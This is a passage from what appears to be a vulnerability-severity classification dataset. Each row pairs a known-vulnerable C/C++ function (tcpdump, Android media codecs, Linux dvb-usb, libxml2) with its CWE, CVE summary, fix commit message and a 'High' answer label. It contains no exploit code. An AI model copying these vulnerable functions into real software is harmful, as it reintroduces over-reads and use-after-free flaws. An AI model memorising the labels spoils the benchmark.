const struct juniper_ggsn_header *gh;
l2info.pictype = DLT_JUNIPER_GGSN;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
gh = (struct juniper_ggsn_header *)&l2info.cookie;
if (ndo->ndo_eflag) {
ND_PRINT((ndo, "proto %s (%u), vlan %u: ",
tok2str(juniper_protocol_values,"Unknown",gh->proto),
gh->proto,
EXTRACT_16BITS(&gh->vlan_id[0])));
}
switch (gh->proto) {
case JUNIPER_PROTO_IPV4:
ip_print(ndo, p, l2info.length);
break;
case JUNIPER_PROTO_IPV6:
ip6_print(ndo, p, l2info.length);
break;
default:
if (!ndo->ndo_eflag)
ND_PRINT((ndo, "unknown GGSN proto (%u)", gh->proto));
}
return l2info.header_len;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The Juniper protocols parser in tcpdump before 4.9.2 has a buffer over-read in print-juniper.c, several functions.
Commit Message: CVE-2017-12993/Juniper: Add more bounds checks.
This fixes a buffer over-read discovered by Kamil Frankowicz.
Add tests using the capture files supplied by the reporter(s). | High | 167,917 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool SoftVPX::outputBuffers(bool flushDecoder, bool display, bool eos, bool *portWillReset) {
List<BufferInfo *> &inQueue = getPortQueue(0);
List<BufferInfo *> &outQueue = getPortQueue(1);
BufferInfo *outInfo = NULL;
OMX_BUFFERHEADERTYPE *outHeader = NULL;
vpx_codec_iter_t iter = NULL;
if (flushDecoder && mFrameParallelMode) {
if (vpx_codec_decode((vpx_codec_ctx_t *)mCtx, NULL, 0, NULL, 0)) {
ALOGE("Failed to flush on2 decoder.");
return false;
}
}
if (!display) {
if (!flushDecoder) {
ALOGE("Invalid operation.");
return false;
}
while ((mImg = vpx_codec_get_frame((vpx_codec_ctx_t *)mCtx, &iter))) {
}
return true;
}
while (!outQueue.empty()) {
if (mImg == NULL) {
mImg = vpx_codec_get_frame((vpx_codec_ctx_t *)mCtx, &iter);
if (mImg == NULL) {
break;
}
}
uint32_t width = mImg->d_w;
uint32_t height = mImg->d_h;
outInfo = *outQueue.begin();
outHeader = outInfo->mHeader;
CHECK_EQ(mImg->fmt, VPX_IMG_FMT_I420);
handlePortSettingsChange(portWillReset, width, height);
if (*portWillReset) {
return true;
}
outHeader->nOffset = 0;
outHeader->nFlags = 0;
outHeader->nFilledLen = (outputBufferWidth() * outputBufferHeight() * 3) / 2;
outHeader->nTimeStamp = *(OMX_TICKS *)mImg->user_priv;
uint8_t *dst = outHeader->pBuffer;
const uint8_t *srcY = (const uint8_t *)mImg->planes[VPX_PLANE_Y];
const uint8_t *srcU = (const uint8_t *)mImg->planes[VPX_PLANE_U];
const uint8_t *srcV = (const uint8_t *)mImg->planes[VPX_PLANE_V];
size_t srcYStride = mImg->stride[VPX_PLANE_Y];
size_t srcUStride = mImg->stride[VPX_PLANE_U];
size_t srcVStride = mImg->stride[VPX_PLANE_V];
copyYV12FrameToOutputBuffer(dst, srcY, srcU, srcV, srcYStride, srcUStride, srcVStride);
mImg = NULL;
outInfo->mOwnedByUs = false;
outQueue.erase(outQueue.begin());
outInfo = NULL;
notifyFillBufferDone(outHeader);
outHeader = NULL;
}
if (!eos) {
return true;
}
if (!outQueue.empty()) {
outInfo = *outQueue.begin();
outQueue.erase(outQueue.begin());
outHeader = outInfo->mHeader;
outHeader->nTimeStamp = 0;
outHeader->nFilledLen = 0;
outHeader->nFlags = OMX_BUFFERFLAG_EOS;
outInfo->mOwnedByUs = false;
notifyFillBufferDone(outHeader);
mEOSStatus = OUTPUT_FRAMES_FLUSHED;
}
return true;
}
Vulnerability Type: +Priv
CWE ID: CWE-264
Summary: codecs/on2/dec/SoftVPX.cpp in libstagefright in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-05-01 does not validate VPX output buffer sizes, which allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 27597103.
Commit Message: Add VPX output buffer size check
and handle dead observers more gracefully
Bug: 27597103
Change-Id: Id7acb25d5ef69b197da15ec200a9e4f9e7b03518
| High | 173,880 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void dvb_usbv2_disconnect(struct usb_interface *intf)
{
struct dvb_usb_device *d = usb_get_intfdata(intf);
const char *name = d->name;
struct device dev = d->udev->dev;
dev_dbg(&d->udev->dev, "%s: bInterfaceNumber=%d\n", __func__,
intf->cur_altsetting->desc.bInterfaceNumber);
if (d->props->exit)
d->props->exit(d);
dvb_usbv2_exit(d);
dev_info(&dev, "%s: '%s' successfully deinitialized and disconnected\n",
KBUILD_MODNAME, name);
}
Vulnerability Type: DoS Overflow Mem. Corr.
CWE ID: CWE-119
Summary: drivers/media/usb/dvb-usb-v2/dvb_usb_core.c in the Linux kernel 4.9.x and 4.10.x before 4.10.12 interacts incorrectly with the CONFIG_VMAP_STACK option, which allows local users to cause a denial of service (system crash or memory corruption) or possibly have unspecified other impact by leveraging use of more than one virtual page for a DMA scatterlist.
Commit Message: [media] dvb-usb-v2: avoid use-after-free
I ran into a stack frame size warning because of the on-stack copy of
the USB device structure:
drivers/media/usb/dvb-usb-v2/dvb_usb_core.c: In function 'dvb_usbv2_disconnect':
drivers/media/usb/dvb-usb-v2/dvb_usb_core.c:1029:1: error: the frame size of 1104 bytes is larger than 1024 bytes [-Werror=frame-larger-than=]
Copying a device structure like this is wrong for a number of other reasons
too aside from the possible stack overflow. One of them is that the
dev_info() call will print the name of the device later, but AFAICT
we have only copied a pointer to the name earlier and the actual name
has been freed by the time it gets printed.
This removes the on-stack copy of the device and instead copies the
device name using kstrdup(). I'm ignoring the possible failure here
as both printk() and kfree() are able to deal with NULL pointers.
Signed-off-by: Arnd Bergmann <[email protected]>
Signed-off-by: Mauro Carvalho Chehab <[email protected]> | High | 168,222 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: OMX_ERRORTYPE omx_vdec::free_input_buffer(OMX_BUFFERHEADERTYPE *bufferHdr)
{
unsigned int index = 0;
if (bufferHdr == NULL || m_inp_mem_ptr == NULL) {
return OMX_ErrorBadParameter;
}
index = bufferHdr - m_inp_mem_ptr;
DEBUG_PRINT_LOW("Free Input Buffer index = %d",index);
if (index < drv_ctx.ip_buf.actualcount && drv_ctx.ptr_inputbuffer) {
DEBUG_PRINT_LOW("Free Input Buffer index = %d",index);
if (drv_ctx.ptr_inputbuffer[index].pmem_fd > 0) {
struct vdec_setbuffer_cmd setbuffers;
setbuffers.buffer_type = VDEC_BUFFER_TYPE_INPUT;
memcpy (&setbuffers.buffer,&drv_ctx.ptr_inputbuffer[index],
sizeof (vdec_bufferpayload));
if (!secure_mode) {
DEBUG_PRINT_LOW("unmap the input buffer fd=%d",
drv_ctx.ptr_inputbuffer[index].pmem_fd);
DEBUG_PRINT_LOW("unmap the input buffer size=%u address = %p",
(unsigned int)drv_ctx.ptr_inputbuffer[index].mmaped_size,
drv_ctx.ptr_inputbuffer[index].bufferaddr);
munmap (drv_ctx.ptr_inputbuffer[index].bufferaddr,
drv_ctx.ptr_inputbuffer[index].mmaped_size);
}
close (drv_ctx.ptr_inputbuffer[index].pmem_fd);
drv_ctx.ptr_inputbuffer[index].pmem_fd = -1;
if (m_desc_buffer_ptr && m_desc_buffer_ptr[index].buf_addr) {
free(m_desc_buffer_ptr[index].buf_addr);
m_desc_buffer_ptr[index].buf_addr = NULL;
m_desc_buffer_ptr[index].desc_data_size = 0;
}
#ifdef USE_ION
free_ion_memory(&drv_ctx.ip_buf_ion_info[index]);
#endif
}
}
return OMX_ErrorNone;
}
Vulnerability Type: +Priv
CWE ID:
Summary: Use-after-free vulnerability in the mm-video-v4l2 vdec component in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-07-01 allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 27890802.
Commit Message: DO NOT MERGE mm-video-v4l2: vdec: Avoid processing ETBs/FTBs in invalid states
(per the spec) ETB/FTB should not be handled in states other than
Executing, Paused and Idle. This avoids accessing invalid buffers.
Also add a lock to protect the private-buffers from being deleted
while accessing from another thread.
Bug: 27890802
Security Vulnerability - Heap Use-After-Free and Possible LPE in
MediaServer (libOmxVdec problem #6)
CRs-Fixed: 1008882
Change-Id: Iaac2e383cd53cf9cf8042c9ed93ddc76dba3907e
| High | 173,752 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xmlParseTryOrFinish(xmlParserCtxtPtr ctxt, int terminate) {
int ret = 0;
int avail, tlen;
xmlChar cur, next;
const xmlChar *lastlt, *lastgt;
if (ctxt->input == NULL)
return(0);
#ifdef DEBUG_PUSH
switch (ctxt->instate) {
case XML_PARSER_EOF:
xmlGenericError(xmlGenericErrorContext,
"PP: try EOF\n"); break;
case XML_PARSER_START:
xmlGenericError(xmlGenericErrorContext,
"PP: try START\n"); break;
case XML_PARSER_MISC:
xmlGenericError(xmlGenericErrorContext,
"PP: try MISC\n");break;
case XML_PARSER_COMMENT:
xmlGenericError(xmlGenericErrorContext,
"PP: try COMMENT\n");break;
case XML_PARSER_PROLOG:
xmlGenericError(xmlGenericErrorContext,
"PP: try PROLOG\n");break;
case XML_PARSER_START_TAG:
xmlGenericError(xmlGenericErrorContext,
"PP: try START_TAG\n");break;
case XML_PARSER_CONTENT:
xmlGenericError(xmlGenericErrorContext,
"PP: try CONTENT\n");break;
case XML_PARSER_CDATA_SECTION:
xmlGenericError(xmlGenericErrorContext,
"PP: try CDATA_SECTION\n");break;
case XML_PARSER_END_TAG:
xmlGenericError(xmlGenericErrorContext,
"PP: try END_TAG\n");break;
case XML_PARSER_ENTITY_DECL:
xmlGenericError(xmlGenericErrorContext,
"PP: try ENTITY_DECL\n");break;
case XML_PARSER_ENTITY_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: try ENTITY_VALUE\n");break;
case XML_PARSER_ATTRIBUTE_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: try ATTRIBUTE_VALUE\n");break;
case XML_PARSER_DTD:
xmlGenericError(xmlGenericErrorContext,
"PP: try DTD\n");break;
case XML_PARSER_EPILOG:
xmlGenericError(xmlGenericErrorContext,
"PP: try EPILOG\n");break;
case XML_PARSER_PI:
xmlGenericError(xmlGenericErrorContext,
"PP: try PI\n");break;
case XML_PARSER_IGNORE:
xmlGenericError(xmlGenericErrorContext,
"PP: try IGNORE\n");break;
}
#endif
if ((ctxt->input != NULL) &&
(ctxt->input->cur - ctxt->input->base > 4096)) {
xmlSHRINK(ctxt);
ctxt->checkIndex = 0;
}
xmlParseGetLasts(ctxt, &lastlt, &lastgt);
while (1) {
if ((ctxt->errNo != XML_ERR_OK) && (ctxt->disableSAX == 1))
return(0);
/*
* Pop-up of finished entities.
*/
while ((RAW == 0) && (ctxt->inputNr > 1))
xmlPopInput(ctxt);
if (ctxt->input == NULL) break;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length -
(ctxt->input->cur - ctxt->input->base);
else {
/*
* If we are operating on converted input, try to flush
* remainng chars to avoid them stalling in the non-converted
* buffer.
*/
if ((ctxt->input->buf->raw != NULL) &&
(ctxt->input->buf->raw->use > 0)) {
int base = ctxt->input->base -
ctxt->input->buf->buffer->content;
int current = ctxt->input->cur - ctxt->input->base;
xmlParserInputBufferPush(ctxt->input->buf, 0, "");
ctxt->input->base = ctxt->input->buf->buffer->content + base;
ctxt->input->cur = ctxt->input->base + current;
ctxt->input->end =
&ctxt->input->buf->buffer->content[
ctxt->input->buf->buffer->use];
}
avail = ctxt->input->buf->buffer->use -
(ctxt->input->cur - ctxt->input->base);
}
if (avail < 1)
goto done;
switch (ctxt->instate) {
case XML_PARSER_EOF:
/*
* Document parsing is done !
*/
goto done;
case XML_PARSER_START:
if (ctxt->charset == XML_CHAR_ENCODING_NONE) {
xmlChar start[4];
xmlCharEncoding enc;
/*
* Very first chars read from the document flow.
*/
if (avail < 4)
goto done;
/*
* Get the 4 first bytes and decode the charset
* if enc != XML_CHAR_ENCODING_NONE
* plug some encoding conversion routines,
* else xmlSwitchEncoding will set to (default)
* UTF8.
*/
start[0] = RAW;
start[1] = NXT(1);
start[2] = NXT(2);
start[3] = NXT(3);
enc = xmlDetectCharEncoding(start, 4);
xmlSwitchEncoding(ctxt, enc);
break;
}
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if (cur == 0) {
if ((ctxt->sax) && (ctxt->sax->setDocumentLocator))
ctxt->sax->setDocumentLocator(ctxt->userData,
&xmlDefaultSAXLocator);
xmlFatalErr(ctxt, XML_ERR_DOCUMENT_EMPTY, NULL);
ctxt->instate = XML_PARSER_EOF;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering EOF\n");
#endif
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
if ((cur == '<') && (next == '?')) {
/* PI or XML decl */
if (avail < 5) return(ret);
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
return(ret);
if ((ctxt->sax) && (ctxt->sax->setDocumentLocator))
ctxt->sax->setDocumentLocator(ctxt->userData,
&xmlDefaultSAXLocator);
if ((ctxt->input->cur[2] == 'x') &&
(ctxt->input->cur[3] == 'm') &&
(ctxt->input->cur[4] == 'l') &&
(IS_BLANK_CH(ctxt->input->cur[5]))) {
ret += 5;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing XML Decl\n");
#endif
xmlParseXMLDecl(ctxt);
if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) {
/*
* The XML REC instructs us to stop parsing right
* here
*/
ctxt->instate = XML_PARSER_EOF;
return(0);
}
ctxt->standalone = ctxt->input->standalone;
if ((ctxt->encoding == NULL) &&
(ctxt->input->encoding != NULL))
ctxt->encoding = xmlStrdup(ctxt->input->encoding);
if ((ctxt->sax) && (ctxt->sax->startDocument) &&
(!ctxt->disableSAX))
ctxt->sax->startDocument(ctxt->userData);
ctxt->instate = XML_PARSER_MISC;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering MISC\n");
#endif
} else {
ctxt->version = xmlCharStrdup(XML_DEFAULT_VERSION);
if ((ctxt->sax) && (ctxt->sax->startDocument) &&
(!ctxt->disableSAX))
ctxt->sax->startDocument(ctxt->userData);
ctxt->instate = XML_PARSER_MISC;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering MISC\n");
#endif
}
} else {
if ((ctxt->sax) && (ctxt->sax->setDocumentLocator))
ctxt->sax->setDocumentLocator(ctxt->userData,
&xmlDefaultSAXLocator);
ctxt->version = xmlCharStrdup(XML_DEFAULT_VERSION);
if (ctxt->version == NULL) {
xmlErrMemory(ctxt, NULL);
break;
}
if ((ctxt->sax) && (ctxt->sax->startDocument) &&
(!ctxt->disableSAX))
ctxt->sax->startDocument(ctxt->userData);
ctxt->instate = XML_PARSER_MISC;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering MISC\n");
#endif
}
break;
case XML_PARSER_START_TAG: {
const xmlChar *name;
const xmlChar *prefix = NULL;
const xmlChar *URI = NULL;
int nsNr = ctxt->nsNr;
if ((avail < 2) && (ctxt->inputNr == 1))
goto done;
cur = ctxt->input->cur[0];
if (cur != '<') {
xmlFatalErr(ctxt, XML_ERR_DOCUMENT_EMPTY, NULL);
ctxt->instate = XML_PARSER_EOF;
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
if (!terminate) {
if (ctxt->progressive) {
/* > can be found unescaped in attribute values */
if ((lastgt == NULL) || (ctxt->input->cur >= lastgt))
goto done;
} else if (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0) {
goto done;
}
}
if (ctxt->spaceNr == 0)
spacePush(ctxt, -1);
else if (*ctxt->space == -2)
spacePush(ctxt, -1);
else
spacePush(ctxt, *ctxt->space);
#ifdef LIBXML_SAX1_ENABLED
if (ctxt->sax2)
#endif /* LIBXML_SAX1_ENABLED */
name = xmlParseStartTag2(ctxt, &prefix, &URI, &tlen);
#ifdef LIBXML_SAX1_ENABLED
else
name = xmlParseStartTag(ctxt);
#endif /* LIBXML_SAX1_ENABLED */
if (ctxt->instate == XML_PARSER_EOF)
goto done;
if (name == NULL) {
spacePop(ctxt);
ctxt->instate = XML_PARSER_EOF;
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
#ifdef LIBXML_VALID_ENABLED
/*
* [ VC: Root Element Type ]
* The Name in the document type declaration must match
* the element type of the root element.
*/
if (ctxt->validate && ctxt->wellFormed && ctxt->myDoc &&
ctxt->node && (ctxt->node == ctxt->myDoc->children))
ctxt->valid &= xmlValidateRoot(&ctxt->vctxt, ctxt->myDoc);
#endif /* LIBXML_VALID_ENABLED */
/*
* Check for an Empty Element.
*/
if ((RAW == '/') && (NXT(1) == '>')) {
SKIP(2);
if (ctxt->sax2) {
if ((ctxt->sax != NULL) &&
(ctxt->sax->endElementNs != NULL) &&
(!ctxt->disableSAX))
ctxt->sax->endElementNs(ctxt->userData, name,
prefix, URI);
if (ctxt->nsNr - nsNr > 0)
nsPop(ctxt, ctxt->nsNr - nsNr);
#ifdef LIBXML_SAX1_ENABLED
} else {
if ((ctxt->sax != NULL) &&
(ctxt->sax->endElement != NULL) &&
(!ctxt->disableSAX))
ctxt->sax->endElement(ctxt->userData, name);
#endif /* LIBXML_SAX1_ENABLED */
}
spacePop(ctxt);
if (ctxt->nameNr == 0) {
ctxt->instate = XML_PARSER_EPILOG;
} else {
ctxt->instate = XML_PARSER_CONTENT;
}
break;
}
if (RAW == '>') {
NEXT;
} else {
xmlFatalErrMsgStr(ctxt, XML_ERR_GT_REQUIRED,
"Couldn't find end of Start Tag %s\n",
name);
nodePop(ctxt);
spacePop(ctxt);
}
if (ctxt->sax2)
nameNsPush(ctxt, name, prefix, URI, ctxt->nsNr - nsNr);
#ifdef LIBXML_SAX1_ENABLED
else
namePush(ctxt, name);
#endif /* LIBXML_SAX1_ENABLED */
ctxt->instate = XML_PARSER_CONTENT;
break;
}
case XML_PARSER_CONTENT: {
const xmlChar *test;
unsigned int cons;
if ((avail < 2) && (ctxt->inputNr == 1))
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
test = CUR_PTR;
cons = ctxt->input->consumed;
if ((cur == '<') && (next == '/')) {
ctxt->instate = XML_PARSER_END_TAG;
break;
} else if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
xmlParsePI(ctxt);
} else if ((cur == '<') && (next != '!')) {
ctxt->instate = XML_PARSER_START_TAG;
break;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') &&
(ctxt->input->cur[3] == '-')) {
int term;
if (avail < 4)
goto done;
ctxt->input->cur += 4;
term = xmlParseLookupSequence(ctxt, '-', '-', '>');
ctxt->input->cur -= 4;
if ((!terminate) && (term < 0))
goto done;
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_CONTENT;
} else if ((cur == '<') && (ctxt->input->cur[1] == '!') &&
(ctxt->input->cur[2] == '[') &&
(ctxt->input->cur[3] == 'C') &&
(ctxt->input->cur[4] == 'D') &&
(ctxt->input->cur[5] == 'A') &&
(ctxt->input->cur[6] == 'T') &&
(ctxt->input->cur[7] == 'A') &&
(ctxt->input->cur[8] == '[')) {
SKIP(9);
ctxt->instate = XML_PARSER_CDATA_SECTION;
break;
} else if ((cur == '<') && (next == '!') &&
(avail < 9)) {
goto done;
} else if (cur == '&') {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, ';', 0, 0) < 0))
goto done;
xmlParseReference(ctxt);
} else {
/* TODO Avoid the extra copy, handle directly !!! */
/*
* Goal of the following test is:
* - minimize calls to the SAX 'character' callback
* when they are mergeable
* - handle an problem for isBlank when we only parse
* a sequence of blank chars and the next one is
* not available to check against '<' presence.
* - tries to homogenize the differences in SAX
* callbacks between the push and pull versions
* of the parser.
*/
if ((ctxt->inputNr == 1) &&
(avail < XML_PARSER_BIG_BUFFER_SIZE)) {
if (!terminate) {
if (ctxt->progressive) {
if ((lastlt == NULL) ||
(ctxt->input->cur > lastlt))
goto done;
} else if (xmlParseLookupSequence(ctxt,
'<', 0, 0) < 0) {
goto done;
}
}
}
ctxt->checkIndex = 0;
xmlParseCharData(ctxt, 0);
}
/*
* Pop-up of finished entities.
*/
while ((RAW == 0) && (ctxt->inputNr > 1))
xmlPopInput(ctxt);
if ((cons == ctxt->input->consumed) && (test == CUR_PTR)) {
xmlFatalErr(ctxt, XML_ERR_INTERNAL_ERROR,
"detected an error in element content\n");
ctxt->instate = XML_PARSER_EOF;
break;
}
break;
}
case XML_PARSER_END_TAG:
if (avail < 2)
goto done;
if (!terminate) {
if (ctxt->progressive) {
/* > can be found unescaped in attribute values */
if ((lastgt == NULL) || (ctxt->input->cur >= lastgt))
goto done;
} else if (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0) {
goto done;
}
}
if (ctxt->sax2) {
xmlParseEndTag2(ctxt,
(void *) ctxt->pushTab[ctxt->nameNr * 3 - 3],
(void *) ctxt->pushTab[ctxt->nameNr * 3 - 2], 0,
(int) (long) ctxt->pushTab[ctxt->nameNr * 3 - 1], 0);
nameNsPop(ctxt);
}
#ifdef LIBXML_SAX1_ENABLED
else
xmlParseEndTag1(ctxt, 0);
#endif /* LIBXML_SAX1_ENABLED */
if (ctxt->instate == XML_PARSER_EOF) {
/* Nothing */
} else if (ctxt->nameNr == 0) {
ctxt->instate = XML_PARSER_EPILOG;
} else {
ctxt->instate = XML_PARSER_CONTENT;
}
break;
case XML_PARSER_CDATA_SECTION: {
/*
* The Push mode need to have the SAX callback for
* cdataBlock merge back contiguous callbacks.
*/
int base;
base = xmlParseLookupSequence(ctxt, ']', ']', '>');
if (base < 0) {
if (avail >= XML_PARSER_BIG_BUFFER_SIZE + 2) {
int tmp;
tmp = xmlCheckCdataPush(ctxt->input->cur,
XML_PARSER_BIG_BUFFER_SIZE);
if (tmp < 0) {
tmp = -tmp;
ctxt->input->cur += tmp;
goto encoding_error;
}
if ((ctxt->sax != NULL) && (!ctxt->disableSAX)) {
if (ctxt->sax->cdataBlock != NULL)
ctxt->sax->cdataBlock(ctxt->userData,
ctxt->input->cur, tmp);
else if (ctxt->sax->characters != NULL)
ctxt->sax->characters(ctxt->userData,
ctxt->input->cur, tmp);
}
SKIPL(tmp);
ctxt->checkIndex = 0;
}
goto done;
} else {
int tmp;
tmp = xmlCheckCdataPush(ctxt->input->cur, base);
if ((tmp < 0) || (tmp != base)) {
tmp = -tmp;
ctxt->input->cur += tmp;
goto encoding_error;
}
if ((ctxt->sax != NULL) && (base == 0) &&
(ctxt->sax->cdataBlock != NULL) &&
(!ctxt->disableSAX)) {
/*
* Special case to provide identical behaviour
* between pull and push parsers on enpty CDATA
* sections
*/
if ((ctxt->input->cur - ctxt->input->base >= 9) &&
(!strncmp((const char *)&ctxt->input->cur[-9],
"<![CDATA[", 9)))
ctxt->sax->cdataBlock(ctxt->userData,
BAD_CAST "", 0);
} else if ((ctxt->sax != NULL) && (base > 0) &&
(!ctxt->disableSAX)) {
if (ctxt->sax->cdataBlock != NULL)
ctxt->sax->cdataBlock(ctxt->userData,
ctxt->input->cur, base);
else if (ctxt->sax->characters != NULL)
ctxt->sax->characters(ctxt->userData,
ctxt->input->cur, base);
}
SKIPL(base + 3);
ctxt->checkIndex = 0;
ctxt->instate = XML_PARSER_CONTENT;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering CONTENT\n");
#endif
}
break;
}
case XML_PARSER_MISC:
SKIP_BLANKS;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length -
(ctxt->input->cur - ctxt->input->base);
else
avail = ctxt->input->buf->buffer->use -
(ctxt->input->cur - ctxt->input->base);
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing PI\n");
#endif
xmlParsePI(ctxt);
ctxt->checkIndex = 0;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') &&
(ctxt->input->cur[3] == '-')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '-', '-', '>') < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing Comment\n");
#endif
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_MISC;
ctxt->checkIndex = 0;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == 'D') &&
(ctxt->input->cur[3] == 'O') &&
(ctxt->input->cur[4] == 'C') &&
(ctxt->input->cur[5] == 'T') &&
(ctxt->input->cur[6] == 'Y') &&
(ctxt->input->cur[7] == 'P') &&
(ctxt->input->cur[8] == 'E')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '>', 0, 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing internal subset\n");
#endif
ctxt->inSubset = 1;
xmlParseDocTypeDecl(ctxt);
if (RAW == '[') {
ctxt->instate = XML_PARSER_DTD;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering DTD\n");
#endif
} else {
/*
* Create and update the external subset.
*/
ctxt->inSubset = 2;
if ((ctxt->sax != NULL) && (!ctxt->disableSAX) &&
(ctxt->sax->externalSubset != NULL))
ctxt->sax->externalSubset(ctxt->userData,
ctxt->intSubName, ctxt->extSubSystem,
ctxt->extSubURI);
ctxt->inSubset = 0;
xmlCleanSpecialAttr(ctxt);
ctxt->instate = XML_PARSER_PROLOG;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering PROLOG\n");
#endif
}
} else if ((cur == '<') && (next == '!') &&
(avail < 9)) {
goto done;
} else {
ctxt->instate = XML_PARSER_START_TAG;
ctxt->progressive = 1;
xmlParseGetLasts(ctxt, &lastlt, &lastgt);
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
}
break;
case XML_PARSER_PROLOG:
SKIP_BLANKS;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base);
else
avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base);
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing PI\n");
#endif
xmlParsePI(ctxt);
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '-', '-', '>') < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing Comment\n");
#endif
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_PROLOG;
} else if ((cur == '<') && (next == '!') &&
(avail < 4)) {
goto done;
} else {
ctxt->instate = XML_PARSER_START_TAG;
if (ctxt->progressive == 0)
ctxt->progressive = 1;
xmlParseGetLasts(ctxt, &lastlt, &lastgt);
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering START_TAG\n");
#endif
}
break;
case XML_PARSER_EPILOG:
SKIP_BLANKS;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length - (ctxt->input->cur - ctxt->input->base);
else
avail = ctxt->input->buf->buffer->use - (ctxt->input->cur - ctxt->input->base);
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing PI\n");
#endif
xmlParsePI(ctxt);
ctxt->instate = XML_PARSER_EPILOG;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') && (ctxt->input->cur[3] == '-')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '-', '-', '>') < 0))
goto done;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing Comment\n");
#endif
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_EPILOG;
} else if ((cur == '<') && (next == '!') &&
(avail < 4)) {
goto done;
} else {
